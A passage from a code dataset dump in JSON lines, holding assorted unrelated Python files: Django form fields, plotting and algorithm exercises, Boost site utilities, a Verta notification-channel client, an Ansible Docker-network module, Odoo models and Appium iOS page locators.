auto_choose, manager, view_name)}\n defaults.update(kwargs)\n if 'queryset' not in kwargs:\n queryset = get_model(to_app_name, to_model_name).objects.all()\n super(ChainedModelChoiceField, self).__init__(queryset=queryset, initial=initial, *args, **defaults)\n else:\n super(ChainedModelChoiceField, self).__init__(initial=initial, *args, **defaults)\n\n def _get_choices(self):\n self.widget.queryset = self.queryset\n choices = super(ChainedModelChoiceField, self)._get_choices()\n return choices\n\n choices = property(_get_choices, ChoiceField._set_choices)\n\n\nclass ChainedManyToManyField(ModelMultipleChoiceField):\n\n def __init__(self, to_app_name, to_model_name, chain_field, chained_model_field, foreign_key_app_name, foreign_key_model_name, foreign_key_field_name, auto_choose, manager=None, initial=None, *args, **kwargs):\n defaults = {'widget': ChainedSelectMultiple(to_app_name, to_model_name, chain_field, chained_model_field, foreign_key_app_name, foreign_key_model_name, foreign_key_field_name, auto_choose, manager)}\n defaults.update(kwargs)\n if 'queryset' not in kwargs:\n queryset = get_model(to_app_name, to_model_name).objects.all()\n super(ChainedManyToManyField, self).__init__(queryset=queryset, initial=initial, *args, **defaults)\n else:\n super(ChainedManyToManyField, self).__init__(initial=initial, *args, **defaults)\n\n\nclass GroupedModelSelect(ModelChoiceField):\n\n def __init__(self, queryset, order_field, *args, **kwargs):\n self.order_field = order_field\n super(GroupedModelSelect, self).__init__(queryset, *args, **kwargs)\n\n def _get_choices(self):\n if hasattr(self, '_choices'):\n return self._choices\n group_indexes = {}\n choices = [\n (\n '', self.empty_label or '---------')]\n i = len(choices)\n for item in self.queryset:\n order_field = getattr(item, self.order_field)\n group_index = order_field.pk\n if group_index not in group_indexes:\n group_indexes[group_index] = i\n choices.append([force_text(order_field), []])\n i += 1\n choice_index = group_indexes[group_index]\n choices[choice_index][1].append(self.make_choice(item))\n\n return choices\n\n def make_choice(self, obj):\n return (\n obj.pk, ' ' + self.label_from_instance(obj))\n\n choices = property(_get_choices, ChoiceField._set_choices)","sub_path":"pycfiles/wagtail-smart-selects-1.2.0.tar/form_fields.py","file_name":"form_fields.py","file_ext":"py","file_size_in_byte":3706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"62505877","text":"# Polygon Figure plotting function\n# Charles Hill\n# 16/05/18\n\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib.collections import PolyCollection\n\ndef Gauss_sum(x, params):\n y = np.zeros_like(x)\n for i in range(0, len(params), 3):\n ctr = params[i]\n amp = params[i+1]\n wid = params[i+2]\n y = y + amp * np.exp( -((x - ctr)/wid)**2)\n return y\n\ndef Polygon_figure(Conc,popt,step=0.0001,Con_lim=(0,0.01),G_max=600):\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n idx = np.arange(0,len(Conc),1)\n popt = np.array(popt)\n verts = []\n\n for z, i in zip(Conc,idx):\n x = np.arange(Con_lim[0],Con_lim[1],step)\n y = Gauss_sum(x,popt[i][:])\n verts.append(list(zip(x,y))) # generates a list of (x,y) tuples for each Concnetration\n\n poly = PolyCollection(verts)\n poly.set_alpha(0.7) # Sets the trasnparency of the polygon plots\n ax.add_collection3d(poly, zs=Conc, zdir='y')\n\n ax.set_xlabel('Contrast')\n ax.set_xlim3d(Con_lim[0],Con_lim[1])\n ax.set_ylabel('Concentration')\n ax.set_ylim3d(Conc[0]-10,Conc[-1]+10)\n ax.set_zlabel('Gaussian')\n ax.set_zlim3d(0, G_max)\n\n plt.show()\n\n return","sub_path":"Poly_Fig.py","file_name":"Poly_Fig.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"406802300","text":"\"\"\"\n2. Написать два алгоритма нахождения i-го по счёту простого числа.\nБез использования «Решета Эратосфена»;\nИспользуя алгоритм «Решето Эратосфена»\nПримечание ко всему домашнему заданию: Проанализировать скорость и сложность алгоритмов. Результаты анализа сохранить\nв виде комментариев в файле с кодом.\n\"\"\"\n\n\nimport cProfile\n\norder_num = int(input('input num: '))\na = [n for n in range(2, order_num * 9)]\n\n\ndef simple_nums():\n print('Без использования «Решета Эратосфена»')\n\n b = []\n for i in range(2, len(a)):\n count = 0\n for j in range(2, i):\n if i % j == 0:\n break\n else:\n b.append(i)\n\n print(f'{b}, \\n{b[order_num - 1]}')\n\n\ndef simple_num_ero():\n print('Используя алгоритм «Решето Эратосфена»')\n\n a = [n for n in range(0, order_num * 9)]\n a[1] = 0\n\n i = 2\n while i < len(a):\n if a[i] != 0:\n j = i * 2\n while j < len(a):\n a[j] = 0\n j += i\n i += 1\n\n b = []\n for i in range(len(a)):\n if a[i] != 0:\n b.append(a[i])\n\n print(f'{b}, \\n{b[order_num - 1]}')\n\n# input num: 2345\ncProfile.run('simple_nums()')\n\n# 2379 function calls in 1.524 seconds\n\n# Ordered by: standard name\n#\n# ncalls tottime percall cumtime percall filename: lineno(function)\n# 1 0.000 0.000 1.524 1.524 < string >: 1( < module >)\n# 1 1.523 1.523 1.524 1.524 less04_task02.py: 16(simple_nums)\n# 1 0.000 0.000 1.524 1.524 {built - in method builtins.exec}\n# 1 0.000 0.000 0.000 0.000 {built - in method builtins.len}\n# 2 0.001 0.000 0.001 0.000 {built - in method builtins.print}\n# 2372 0.001 0.000 0.001 0.000 {method 'append' of 'list' objects}\n# 1 0.000 0.000 0.000 0.000 {method'disable'of'_lsprof.Profiler'objects}\n\n\ncProfile.run('simple_num_ero()')\n\n# 76498 function calls in 0.020 seconds\n#\n# Ordered by: standard name\n#\n# ncalls tottime percall cumtime percall filename:lineno(function)\n# 1 0.000 0.000 0.020 0.020 :1()\n# 1 0.013 0.013 0.020 0.020 less04_task02.py:31(simple_num_ero)\n# 1 0.001 0.001 0.001 0.001 less04_task02.py:34()\n# 1 0.000 0.000 0.020 0.020 {built-in method builtins.exec}\n# 74119 0.004 0.000 0.004 0.000 {built-in method builtins.len}\n# 2 0.002 0.001 0.002 0.001 {built-in method builtins.print}\n# 2372 0.000 0.000 0.000 0.000 {method 'append' of 'list' objects}\n# 1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects}\n","sub_path":"less04_task02.py","file_name":"less04_task02.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"523000435","text":"#-*- coding: utf-8 -*-\nfrom typing import List\nimport math\n\nimport time\ndef timeit(func):\n def wrapped(*args, **kwargs):\n start = time.time()\n ret = func(*args, **kwargs)\n elapsed = time.time() - start\n print(\"elapsed: %s\" % elapsed)\n return ret\n return wrapped\n\nclass Solution_timeexceeded:\n def rec(self, cur, n):\n if cur == n:\n return 1\n elif cur > n:\n return 0\n else:\n return self.rec(cur+1, n) + self.rec(cur+2, n)\n\n @timeit\n def climbStairs(self, n: int) -> int:\n return self.rec(0, n)\n\nfrom collections import defaultdict\nclass Solution:\n def __init__(self):\n self.cache = defaultdict(int)\n\n def rec(self, cur, n):\n if cur in self.cache: return self.cache[cur]\n if cur == n:\n self.cache[cur] = 2\n return 1\n elif cur > n:\n return 0\n else:\n step1 = self.rec(cur+1, n)\n self.cache[cur+1] = step1\n step2 = self.rec(cur+2, n)\n self.cache[cur+2] = step2\n return step1 + step2\n\n @timeit\n def climbStairs(self, n: int) -> int:\n self.cache = defaultdict(int)\n return self.rec(0, n)\n\nprint(Solution().climbStairs(2))\nprint(Solution().climbStairs(3))\nprint(Solution().climbStairs(5))\nprint(Solution().climbStairs(35))\n\n\n\n","sub_path":"lc/esy/20190818_esy_70_climbing_stairs.py","file_name":"20190818_esy_70_climbing_stairs.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"558381620","text":"#!/usr/bin/env python\n# Copyright 2011 Daniel James\n# Distributed under the Boost Software License, Version 1.0.\n# (See accompanying file LICENSE_1_0.txt or http://www.boost.org/LICENSE_1_0.txt)\n\nimport sys, re, string\n\ntry:\n from urllib.parse import urljoin\nexcept ImportError:\n from urlparse import urljoin\n\ndef htmlencode(text):\n return text.replace('&', '&').replace('<', '<').replace('>', '&rt;')\n\ndef fragment_to_string(fragment):\n \"\"\"\n Convert a minidom document fragment to a string.\n\n Because 'toxml' doesn't work:\n http://bugs.python.org/issue9883\n \"\"\"\n x = ''.join(x.toxml('utf-8').decode('utf-8') for x in fragment.childNodes)\n return re.compile(r' +$', flags = re.M).sub('', x)\n\ndef base_links(node, base_link):\n transform_links(node, lambda x: urljoin(base_link, x))\n\ndef transform_links(node, func):\n transform_links_impl(node, 'a', 'href', func)\n transform_links_impl(node, 'img', 'src', func)\n\ndef transform_links_impl(node, tag_name, attribute, func):\n if node.nodeType == node.ELEMENT_NODE or \\\n node.nodeType == node.DOCUMENT_NODE:\n for x in node.getElementsByTagName(tag_name):\n x.setAttribute(attribute, func(x.getAttribute(attribute)))\n elif node.nodeType == node.DOCUMENT_FRAGMENT_NODE:\n for x in node.childNodes:\n transform_links_impl(x, tag_name, attribute, func)\n\ndef write_template(dst_path, template_path, data):\n file = open(template_path)\n if sys.version_info < (3, 0):\n s = string.Template(file.read().decode('utf-8'))\n else:\n s = string.Template(file.read())\n output = s.substitute(data)\n output = re.compile(r' +$', flags = re.M).sub('', output)\n out = open(dst_path, 'w')\n if sys.version_info < (3, 0):\n out.write(output.encode('utf-8'))\n else:\n out.write(output)\n\ndef write_py_template(dst_path, template_path, data):\n data['emit'] = Emitter()\n exec(open(template_path).read(), {}, data)\n\n out = open(dst_path, 'w')\n if sys.version_info < (3, 0):\n out.write(data['emit'].output.encode('utf-8'))\n else:\n out.write(data['emit'].output)\n\nclass Emitter:\n def __init__(self):\n self.output = ''\n\n def __call__(self, x):\n self.output += x\n","sub_path":"site-tools/boost_site/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"315225420","text":"from __future__ import print_function\nimport utils.conf as conf\nimport pandas as pd\nfrom sklearn import preprocessing\n\n\ndef read_data():\n train = pd.read_csv(conf.train_data_path, sep=',')\n test = pd.read_csv(conf.test_data_path, sep=',')\n return train, test\n\n\ndef impute(df):\n df['Upc'] = df.fillna(0)\n df['FinelineNumber'] = df['FinelineNumber'].fillna(-1).astype('int')\n\n\n# Encode categorical variables\ndef encode(df, columns, col=None, dict=None):\n # Auto encoding\n for col_name in columns:\n le = preprocessing.LabelEncoder()\n le.fit(df[col_name])\n df['Encoded_' + col_name] = le.transform(df[col_name])\n\n # encode by dictionary\n if (col is not None) & (dict is not None):\n for key, value in dict.items():\n df[col].replace(key, value, inplace=True)\n df['Encoded_' + col] = df[col]\n\n\ndef clean():\n train, test = read_data()\n impute(train)\n impute(test)\n wd_dict = {'Monday': 1, 'Tuesday': 2, 'Wednesday': 3, 'Thursday': 4, 'Friday': 5, 'Saturday': 6, 'Sunday': 7}\n encode(train, ['DepartmentDescription', 'Upc'], col='Weekday', dict=wd_dict)\n encode(test, ['DepartmentDescription', 'Upc'], col='Weekday', dict=wd_dict)\n train.drop(['Weekday', 'Upc', 'DepartmentDescription'], axis=1, inplace=True)\n test.drop(['Weekday', 'Upc', 'DepartmentDescription'], axis=1, inplace=True)\n return train, test\n","sub_path":"kaggle/modelers/wh/codebase/preprocessing/data_cleaner.py","file_name":"data_cleaner.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"444407960","text":"# Write a Python program to count number of digits in a number.\n\nn = int(input(\"Please enter a number: \"))\ndivisor = 10\ncount = 1\n\nwhile n % divisor != n:\n count = count + 1\n divisor = divisor * 10\n\nprint(\"Digit(s) in the given number {0} is/are {1}\".format(n, count))\n","sub_path":"assignments-2/printDigitCount.py","file_name":"printDigitCount.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"621165305","text":"# -*- coding: utf-8 -*-\n\nimport warnings\n\nfrom ....._protos.public.monitoring import Alert_pb2 as _AlertService\nfrom ....._internal_utils import _utils, time_utils\nfrom ....._tracking import entity, _Context\nfrom ... import utils\n\n\nclass NotificationChannel(entity._ModelDBEntity):\n \"\"\"\n A notification channel persisted to Verta.\n\n A notification channel directs a triggered alert to propagate a message to\n some destination to notify interested parties.\n\n Attributes\n ----------\n id : int\n ID of this notification channel.\n name : str\n Name of this notification channel.\n\n Examples\n --------\n .. code-block:: python\n\n from verta.operations.monitoring.notification_channel import SlackNotificationChannel\n\n channels = Client().operations.notification_channels\n channel = notification_channels.create(\n \"Slack alerts\",\n SlackNotificationChannel(\"https://hooks.slack.com/services/.../.../......\"),\n )\n\n alert = monitored_entity.alerts.create(\n name=\"MSE\",\n alerter=alerter,\n summary_sample_query=sample_query,\n notification_channels=[channel],\n )\n\n \"\"\"\n\n def __init__(self, conn, conf, msg):\n super(NotificationChannel, self).__init__(\n conn,\n conf,\n _AlertService,\n \"alerts\",\n msg,\n )\n\n def __repr__(self):\n self._refresh_cache()\n msg = self._msg\n return \"\\n\\t\".join(\n (\n \"Notification Channel\",\n \"name: {}\".format(msg.name),\n \"id: {}\".format(msg.id),\n \"created: {}\".format(_utils.timestamp_to_str(msg.created_at_millis)),\n \"updated: {}\".format(_utils.timestamp_to_str(msg.updated_at_millis)),\n \"channel: {}\".format(\n # TODO: use a `channel` property that returns the actual class\n _AlertService.NotificationChannelTypeEnum.NotificationChannelType.Name(\n msg.type\n )\n ),\n )\n )\n\n @property\n def name(self):\n self._refresh_cache()\n\n return self._msg.name\n\n @classmethod\n def _get_proto_by_id(cls, conn, id):\n msg = _AlertService.FindNotificationChannelRequest(\n ids=[int(id)], page_number=1, page_limit=-1,\n )\n endpoint = \"/api/v1/alerts/findNotificationChannel\"\n response = conn.make_proto_request(\"POST\", endpoint, body=msg)\n channels = conn.must_proto_response(response, msg.Response).channels\n if len(channels) > 1:\n warnings.warn(\n \"unexpectedly found multiple alerts with the same name and\"\n \" monitored entity ID\"\n )\n return channels[0]\n\n @classmethod\n def _get_proto_by_name(cls, conn, name, workspace):\n # NOTE: workspace is currently unsupported until https://vertaai.atlassian.net/browse/VR-9792\n msg = _AlertService.FindNotificationChannelRequest(\n names=[name], page_number=1, page_limit=-1,\n )\n endpoint = \"/api/v1/alerts/findNotificationChannel\"\n response = conn.make_proto_request(\"POST\", endpoint, body=msg)\n channels = conn.must_proto_response(response, msg.Response).channels\n if len(channels) > 1:\n warnings.warn(\n \"unexpectedly found multiple alerts with the same name and\"\n \" monitored entity ID\"\n )\n return channels[0]\n\n @classmethod\n def _create_proto_internal(\n cls,\n conn,\n ctx,\n name,\n channel,\n created_at_millis,\n updated_at_millis,\n ):\n msg = _AlertService.CreateNotificationChannelRequest(\n channel=_AlertService.NotificationChannel(\n name=name,\n created_at_millis=created_at_millis,\n updated_at_millis=updated_at_millis,\n type=channel._TYPE,\n )\n )\n if msg.channel.type == _AlertService.NotificationChannelTypeEnum.SLACK:\n msg.channel.slack_webhook.CopyFrom(channel._as_proto())\n else:\n raise ValueError(\n \"unrecognized notification channel type enum value {}\".format(\n msg.alert.alerter_type\n )\n )\n\n endpoint = \"/api/v1/alerts/createNotificationChannel\"\n response = conn.make_proto_request(\"POST\", endpoint, body=msg)\n notification_channel_msg = conn.must_proto_response(\n response,\n _AlertService.NotificationChannel,\n )\n return notification_channel_msg\n\n def _update(self):\n raise NotImplementedError\n\n def delete(self):\n \"\"\"\n Delete this notification channel.\n\n Returns\n -------\n bool\n ``True`` if the delete was successful.\n\n Raises\n ------\n :class:`requests.HTTPError`\n If the delete failed.\n\n \"\"\"\n msg = _AlertService.DeleteNotificationChannelRequest(ids=[self.id])\n endpoint = \"/api/v1/alerts/deleteNotificationChannel\"\n response = self._conn.make_proto_request(\"DELETE\", endpoint, body=msg)\n self._conn.must_response(response)\n return True\n\n\nclass NotificationChannels(object):\n \"\"\"\n Collection object for creating and finding notification channels.\n\n Examples\n --------\n .. code-block:: python\n\n channels = Client().operations.notification_channels\n\n \"\"\"\n\n def __init__(self, conn, conf):\n self._conn = conn\n self._conf = conf\n\n def create(\n self,\n name,\n channel,\n created_at=None,\n updated_at=None,\n ):\n \"\"\"\n Create a new notification channel.\n\n Parameters\n ----------\n name : str\n A unique name for this notification channel.\n channel : :class:`verta.operations.monitoring.notification_channel._NotificationChannel`\n The configuration for this notification channel.\n created_at : datetime.datetime or int, optional\n An override creation time to assign to this channel. Either a\n timezone aware datetime object or unix epoch milliseconds.\n updated_at : datetime.datetime or int, optional\n An override update time to assign to this channel. Either a\n timezone aware datetime object or unix epoch milliseconds.\n\n Returns\n -------\n :class:`NotificationChannel`\n Notification channel.\n\n Examples\n --------\n .. code-block:: python\n\n from verta.operations.monitoring.notification_channel import SlackNotificationChannel\n\n channels = Client().operations.notification_channels\n\n channel = notification_channels.create(\n \"Slack alerts\",\n SlackNotificationChannel(\"https://hooks.slack.com/services/.../.../......\"),\n )\n\n \"\"\"\n ctx = _Context(self._conn, self._conf)\n return NotificationChannel._create(\n self._conn,\n self._conf,\n ctx,\n name=name,\n channel=channel,\n created_at_millis=time_utils.epoch_millis(created_at),\n updated_at_millis=time_utils.epoch_millis(updated_at),\n )\n\n def get(self, name=None, id=None):\n \"\"\"\n Get an existing notification channel.\n\n Either `name` or `id` can be provided but not both.\n\n Parameters\n ----------\n name : str, optional\n Notification channel name.\n id : int, optional\n Notification channel ID.\n\n Returns\n -------\n :class:`NotificationChannel`\n Notification channel.\n\n \"\"\"\n if name and id:\n raise ValueError(\"cannot specify both `name` and `id`\")\n elif name:\n return NotificationChannel._get_by_name(\n self._conn,\n self._conf,\n name,\n None, # TODO: pass workspace instead of None\n )\n elif id:\n return NotificationChannel._get_by_id(self._conn, self._conf, id)\n else:\n raise ValueError(\"must specify either `name` or `id`\")\n\n # TODO: use lazy list and pagination\n # TODO: a proper find\n def list(self):\n \"\"\"\n Return all accesible notification channels.\n\n Returns\n -------\n list of :class:`NotificationChannel`\n Notification channels.\n\n \"\"\"\n msg = _AlertService.FindNotificationChannelRequest(\n page_number=1, page_limit=-1,\n )\n endpoint = \"/api/v1/alerts/findNotificationChannel\"\n response = self._conn.make_proto_request(\"POST\", endpoint, body=msg)\n channels = self._conn.must_proto_response(response, msg.Response).channels\n return [\n NotificationChannel(self._conn, self._conf, channel) for channel in channels\n ]\n\n def delete(self, channels):\n \"\"\"\n Delete the given notification channels in a single request.\n\n Parameters\n ----------\n list of :class:`NotificationChannel`\n Notification channels.\n\n Returns\n -------\n bool\n ``True`` if the delete was successful.\n\n Raises\n ------\n :class:`requests.HTTPError`\n If the delete failed.\n\n \"\"\"\n channel_ids = utils.extract_ids(channels)\n msg = _AlertService.DeleteNotificationChannelRequest(ids=channel_ids)\n endpoint = \"/api/v1/alerts/deleteNotificationChannel\"\n response = self._conn.make_proto_request(\"DELETE\", endpoint, body=msg)\n self._conn.must_response(response)\n return True\n","sub_path":"client/verta/verta/operations/monitoring/notification_channel/_entities/notification_channel.py","file_name":"notification_channel.py","file_ext":"py","file_size_in_byte":9860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"586578836","text":"#!/usr/bin/env python\n\nfrom subprocess import Popen, PIPE\nimport json\nfrom ansible.module_utils.basic import *\n\nmodule = AnsibleModule(\n argument_spec=dict(\n app=dict(required=True),\n proc=dict(required=True),\n instance_number=dict(required=True),\n )\n)\n\n\ndef main():\n appname = module.params['app']\n procname = module.params['proc']\n instance_no = module.params['instance_number']\n\n try:\n network_info = get_network_info(appname)\n network_id = get_network_id(network_info)\n endpoint_id, container_ip = get_endpoint_info(\n network_info, procname, instance_no)\n module.exit_json(changed=False, network_id=network_id,\n endpoint_id=endpoint_id, recycle_ip=container_ip)\n except Exception as e:\n module.fail_json(msg=str(e))\n\n\ndef get_network_info(appname):\n p = Popen(['docker', 'network', 'inspect', appname],\n stdout=PIPE, stderr=PIPE)\n output, err = p.communicate()\n if p.returncode != 0:\n module.fail_json(msg=err)\n return json.loads(output.rstrip())\n\n\ndef get_network_id(network_info):\n return network_info[0]['Id']\n\n\ndef get_endpoint_info(network_info, procname, instance_no):\n containers_info = network_info[0]['Containers']\n endpoint_id, container_ip = None, None\n for k, v in containers_info.iteritems():\n container_name = v['Name']\n if match_proc_instance(container_name, procname, instance_no):\n endpoint_id = v['EndpointID']\n container_ip = v['IPv4Address'] # the format of ip is 'x.x.x.x/32'\n return endpoint_id, container_ip[0:len(container_ip) - 3]\n\n\n# container name should include procname and instance no\ndef match_proc_instance(name, procname, instance_no):\n instance_filter = '-i' + instance_no + '-'\n return procname in name and instance_filter in name\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"playbooks/roles/libraries/library/inspect_docker_network.py","file_name":"inspect_docker_network.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"274995848","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api, _,exceptions\n\nclass ResStateCity(models.Model):\n _name = 'res.state.city'\n _description = 'City'\n\n state_id = fields.Many2one('res.country.state',string='State')\n name = fields.Char('City')\n code = fields.Char('City Code')\n area_ids = fields.One2many('res.city.area','city_id',string='Area')\n\nclass ResCityArea(models.Model):\n _name = 'res.city.area'\n _description = 'Area'\n\n city_id = fields.Many2one('res.state.city',string='City')\n name = fields.Char('Area')\n code = fields.Char('Area Code')\n\nclass ResCountryState(models.Model):\n _inherit = 'res.country.state'\n\n city_ids = fields.One2many('res.state.city','state_id',string='City')\n base_city_ids = fields.One2many('res.city','state_id',string='City')\n\n\n","sub_path":"e2yun_addons/odoo12/e2yun_srm_partner_address/models/res_state_city.py","file_name":"res_state_city.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"50263269","text":"import traceback\n\nfrom appium.webdriver.common.mobileby import MobileBy\nfrom library.core.TestLogger import TestLogger\nfrom pages.components.BaseChat import BaseChatPage\nimport time\n\n\n# noinspection PyBroadException\nclass GroupChatPage(BaseChatPage):\n \"\"\"群聊天页面\"\"\"\n ACTIVITY = 'com.cmcc.cmrcs.android.ui.activities.MessageDetailActivity'\n\n __locators = {'': (MobileBy.ACCESSIBILITY_ID, ''),\n '说点什么': (MobileBy.XPATH, '//XCUIElementTypeOther[3]/XCUIElementTypeTextView'),\n '聊天列表': (MobileBy.XPATH, '//XCUIElementTypeApplication[@name=\"和飞信\"]/XCUIElementTypeWindow[1]/XCUIElementTypeOther/XCUIElementTypeOther/XCUIElementTypeOther/XCUIElementTypeOther/XCUIElementTypeOther/XCUIElementTypeOther/XCUIElementTypeOther/XCUIElementTypeTable/XCUIElementTypeCell'),\n '返回': (MobileBy.ACCESSIBILITY_ID, 'back'),\n\n '消息免打扰': (MobileBy.ACCESSIBILITY_ID, 'chat_list_nodisturb'),\n '多方通话': (MobileBy.ACCESSIBILITY_ID, 'cc chat message groupcall norm'),\n '设置': (MobileBy.IOS_PREDICATE, 'name == \"cc chat message site normal\"'),\n '删除群成员确定按钮': (MobileBy.XPATH, '(//XCUIElementTypeButton[@name=\"确定(1)\"])[2]'),\n '添加群成员按钮': (MobileBy.IOS_PREDICATE, 'name CONTAINS \"cc_chat_groupchat_add_normal\"'),\n '删除群成员按钮': (MobileBy.IOS_PREDICATE, 'name CONTAINS \"cc_chat_groupchat_delete_normal\"'),\n '添加群成员确定按钮': (MobileBy.IOS_PREDICATE, 'name CONTAINS \"确定\"'),\n '图片元素数量': (MobileBy.IOS_PREDICATE, 'type==\"XCUIElementTypeImage\"'),\n '群消息免打扰按钮': (MobileBy.XPATH, '//XCUIElementTypeSwitch[@name=\"群消息免打扰\"]'),\n '群名称': (MobileBy.IOS_PREDICATE, 'name == \"群名称\"'),\n '群管理': (MobileBy.IOS_PREDICATE, 'name == \"群管理\"'),\n '解散群': (MobileBy.IOS_PREDICATE, 'name == \"解散群\"'),\n '解散按钮': (MobileBy.IOS_PREDICATE, 'name == \"解散\"'),\n '我的群昵称': (MobileBy.IOS_PREDICATE, 'name == \"我的群昵称\"'),\n '我的群昵称输入框': (MobileBy.XPATH, '//XCUIElementTypeOther/XCUIElementTypeTextField'),\n '修改群名称输入框': (MobileBy.IOS_PREDICATE, 'type == \"XCUIElementTypeTextField\"'),\n '修改群名称完成按钮': (MobileBy.IOS_PREDICATE, 'name == \"完成\"'),\n '选择手机联系人': (MobileBy.IOS_PREDICATE, 'name == \"选择手机联系人\"'),\n '修改群名称清除文本按钮': (MobileBy.IOS_PREDICATE, 'name == \"清除文本\"'),\n\n '14:58': (MobileBy.ID, 'com.chinasofti.rcs:id/tv_time'),\n 'frank': (MobileBy.ID, 'com.chinasofti.rcs:id/text_name'),\n '[呲牙1]': (MobileBy.ID, 'com.chinasofti.rcs:id/tv_message'),\n 'com.chinasofti.rcs:id/svd_head': (MobileBy.ID, 'com.chinasofti.rcs:id/svd_head'),\n '呵呵': (MobileBy.ID, 'com.chinasofti.rcs:id/tv_message'),\n 'mobile0489': (MobileBy.ID, 'com.chinasofti.rcs:id/text_name'),\n 'APP test': (MobileBy.ID, 'com.chinasofti.rcs:id/tv_message'),\n '选择名片': (MobileBy.IOS_PREDICATE, 'name == \"cc_chat_input_ic_business\"'),\n '更多': (MobileBy.ID, 'com.chinasofti.rcs:id/ib_more'),\n '文件发送成功标志': (MobileBy.ID, 'com.chinasofti.rcs:id/img_message_down_file'),\n '选择照片': (MobileBy.IOS_PREDICATE, 'name CONTAINS \"cc_chat_gallery_normal\"'),\n '富媒体拍照': (MobileBy.IOS_PREDICATE, 'name CONTAINS \"cc_chat_camera_normal\"'),\n '发送失败标识': (MobileBy.ID, 'com.chinasofti.rcs:id/imageview_msg_send_failed'),\n '消息图片': (MobileBy.ID, 'com.chinasofti.rcs:id/imageview_msg_image'),\n '消息视频': (MobileBy.ID, 'com.chinasofti.rcs:id/textview_video_time'),\n '收藏': (MobileBy.XPATH, \"//*[contains(@text, '收藏')]\"),\n '转发': (MobileBy.XPATH, \"//*[contains(@text, '转发')]\"),\n '删除': (MobileBy.XPATH, \"//*[contains(@text, '删除')]\"),\n '撤回': (MobileBy.XPATH, \"//*[contains(@text, '撤回')]\"),\n '多选': (MobileBy.XPATH, \"//*[contains(@text, '多选')]\"),\n '复制': (MobileBy.XPATH, \"//*[contains(@text, '复制')]\"),\n '收藏_c': (MobileBy.IOS_PREDICATE, \"name=='收藏'\"),\n '转发_c': (MobileBy.IOS_PREDICATE, \"name=='转发'\"),\n '删除_c': (MobileBy.IOS_PREDICATE, \"name=='删除'\"),\n '撤回_c': (MobileBy.IOS_PREDICATE, \"name=='撤回'\"),\n '多选_c': (MobileBy.IOS_PREDICATE, \"name=='多选'\"),\n '复制_c': (MobileBy.IOS_PREDICATE, \"name=='复制'\"),\n '我知道了': (MobileBy.ID, 'com.chinasofti.rcs:id/dialog_btn_ok'),\n '勾': (MobileBy.ID, 'com.chinasofti.rcs:id/img_message_down_file'),\n '重发按钮': (MobileBy.XPATH, '//XCUIElementTypeButton[@name=\"cc chat again send normal\"]'),\n '重发消息确定': (MobileBy.ID, 'com.chinasofti.rcs:id/btn_ok'),\n '语音消息体': (MobileBy.ID, 'com.chinasofti.rcs:id/img_audio_play_icon'),\n '位置返回': (MobileBy.ID, 'com.chinasofti.rcs:id/location_back_btn'),\n '表情按钮': (MobileBy.IOS_PREDICATE, 'name CONTAINS \"cc_chat_icon_emoji_normal\"'),\n '微笑表情': (MobileBy.IOS_PREDICATE, 'name == \"{awx\"'),\n '窃喜表情': (MobileBy.IOS_PREDICATE, 'name == \"{aqx\"'),\n '流鼻涕表情': (MobileBy.IOS_PREDICATE, 'name == \"{albt\"'),\n '更多加号按钮': (MobileBy.IOS_PREDICATE, 'name CONTAINS \"cc_chat_ic_input_more\"'),\n '更多关闭按钮': (MobileBy.IOS_PREDICATE, 'name CONTAINS \"cc_chat_ic_input_close\"'),\n '语音按钮': (MobileBy.IOS_PREDICATE, 'name contains \"cc chat voice normal\"'),\n '退出按钮': (MobileBy.IOS_PREDICATE, 'name == \"退出\"'),\n '发送按钮': (MobileBy.IOS_PREDICATE, 'name contains \"cc chat send normal\"'),\n 'GIF按钮': (MobileBy.IOS_PREDICATE, 'name == \"{gif\"'),\n 'gif图片': (MobileBy.XPATH,\n '//*[@name=\"cc chat gif close\"]/../following-sibling::*[1]/XCUIElementTypeCell/XCUIElementTypeOther/XCUIElementTypeImage'),\n '关闭GIF按钮': (MobileBy.IOS_PREDICATE, 'name == \"cc chat gif close\"'),\n '文件按钮': (MobileBy.IOS_PREDICATE, 'name CONTAINS \"cc_chat_icon_file_normal\"'),\n '表情页': (MobileBy.ID, 'com.chinasofti.rcs:id/gv_expression'),\n '表情': (MobileBy.ID, 'com.chinasofti.rcs:id/iv_expression_image'),\n '输入框': (MobileBy.IOS_PREDICATE, 'type==\"XCUIElementTypeTextView\"'),\n '视频播放按钮': (MobileBy.IOS_PREDICATE, 'name contains \"cc chat play\"'),\n '关闭表情页': (MobileBy.ID, 'com.chinasofti.rcs:id/ib_expression_keyboard'),\n '多选返回': (MobileBy.ID, 'com.chinasofti.rcs:id/back_arrow'),\n '多选计数': (MobileBy.ID, 'com.chinasofti.rcs:id/tv_count'),\n '多选选择框': (MobileBy.ID, 'com.chinasofti.rcs:id/multi_check'),\n '多选删除': (MobileBy.ID, 'com.chinasofti.rcs:id/multi_btn_delete'),\n '多选转发': 